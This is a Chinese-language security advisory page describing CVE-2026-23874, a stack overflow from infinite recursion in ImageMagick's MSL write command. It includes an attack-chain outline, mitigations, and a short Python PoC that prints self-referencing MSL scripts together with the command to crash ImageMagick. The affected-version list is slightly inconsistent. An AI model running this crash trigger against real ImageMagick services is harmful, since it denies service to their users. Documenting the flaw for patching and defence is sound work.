IPBUF安全漏洞报告
English
CVE-2026-23874 CVSS 5.5 中危

CVE-2026-23874 ImageMagick MSL脚本语言无限递归栈溢出漏洞

披露日期: 2026-01-20

漏洞信息

漏洞编号
CVE-2026-23874
漏洞类型
栈溢出
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
ImageMagick

相关标签

栈溢出无限递归ImageMagickMSL本地攻击拒绝服务CVE-2026-23874

漏洞概述

ImageMagick是一款免费开源的图像处理软件,广泛用于编辑和操作数字图像。该软件存在一个栈溢出漏洞,源于MSL(Magick Scripting Language)脚本语言中<write>命令的无限递归问题。攻击者可以通过构造恶意的MSL脚本,触发无限递归调用,最终导致栈溢出。这可能造成应用程序崩溃,影响服务的可用性。攻击者需要本地访问权限并且具有低权限即可利用此漏洞。由于ImageMagick常被用于Web服务器和图像处理服务中,此漏洞可能影响大量依赖该软件的应用系统。7.1.2-13版本已修复此问题,建议用户尽快升级。

技术细节

该漏洞存在于ImageMagick的MSL(Magick Scripting Language)解析器中。MSL是ImageMagick提供的脚本语言,允许用户通过XML风格的语法定义图像处理操作。在处理<write>命令时,当写入目标格式为MSL本身时,解析器会递归处理脚本内容。如果攻击者构造一个恶意的MSL脚本,使其在<write>命令中指向自身或其他MSL文件,将导致无限递归调用。每次递归都会在栈上分配新的栈帧,当递归深度超过系统栈容量时,就会发生栈溢出。栈溢出可能导致程序崩溃或潜在的代码执行风险。攻击者需要构造特定的MSL脚本文件,并通过ImageMagick的处理流程触发该漏洞。CVSS向量显示攻击复杂度低,无需用户交互,影响可用性为高。

攻击链分析

STEP 1
步骤1
攻击者创建恶意MSL脚本文件,在<write>命令中指定目标文件为MSL格式,形成自引用或循环引用
STEP 2
步骤2
攻击者通过本地访问权限,使用ImageMagick处理该恶意MSL脚本
STEP 3
步骤3
ImageMagick解析器在处理<write>命令时,递归读取目标MSL文件,导致无限递归
STEP 4
步骤4
递归深度不断增加,消耗栈空间,最终触发栈溢出
STEP 5
步骤5
程序崩溃,影响服务可用性,可能导致拒绝服务攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2026-23874 PoC - ImageMagick MSL Infinite Recursion Stack Overflow This PoC demonstrates the infinite recursion vulnerability in MSL <write> command. """ poc_msl = """<?xml version="1.0" encoding="UTF-8"?> <image> <read filename="test.png" /> <write filename="test_msl.mcsl"> <canvas width="100" height="100" color="red" /> <write filename="test_msl.mcsl" /> </write> </image> """ # Alternative PoC - Self-referencing MSL script poc_msl_v2 = """<?xml version="1.0" encoding="UTF-8"?> <image> <read filename="input.jpg" /> <write filename="recursive.mcsl"> <canvas width="100" height="100" /> <write filename="recursive.mcsl" /> </write> </image> """ # Usage: # 1. Save the MSL script as poc.mcsl # 2. Run: magick poc.mcsl output.png # 3. This will trigger infinite recursion and cause stack overflow print("PoC for CVE-2026-23874") print("ImageMagick MSL Infinite Recursion Vulnerability") print("\nGenerated MSL PoC script:") print(poc_msl) print("\nTo trigger the vulnerability:") print("1. Save the above MSL content to a file (e.g., poc.mcsl)") print("2. Execute: magick poc.mcsl output.png") print("3. Observe stack overflow or crash")

影响范围

ImageMagick < 7.1.2-13
ImageMagick < 7.1.1-12

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 在ImageMagick策略文件中禁用MSL处理功能;2) 限制<read>和<write>命令的文件类型;3) 对图像处理服务实施严格的输入验证;4) 监控和限制ImageMagick进程的资源使用;5) 考虑使用沙箱环境隔离图像处理操作。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表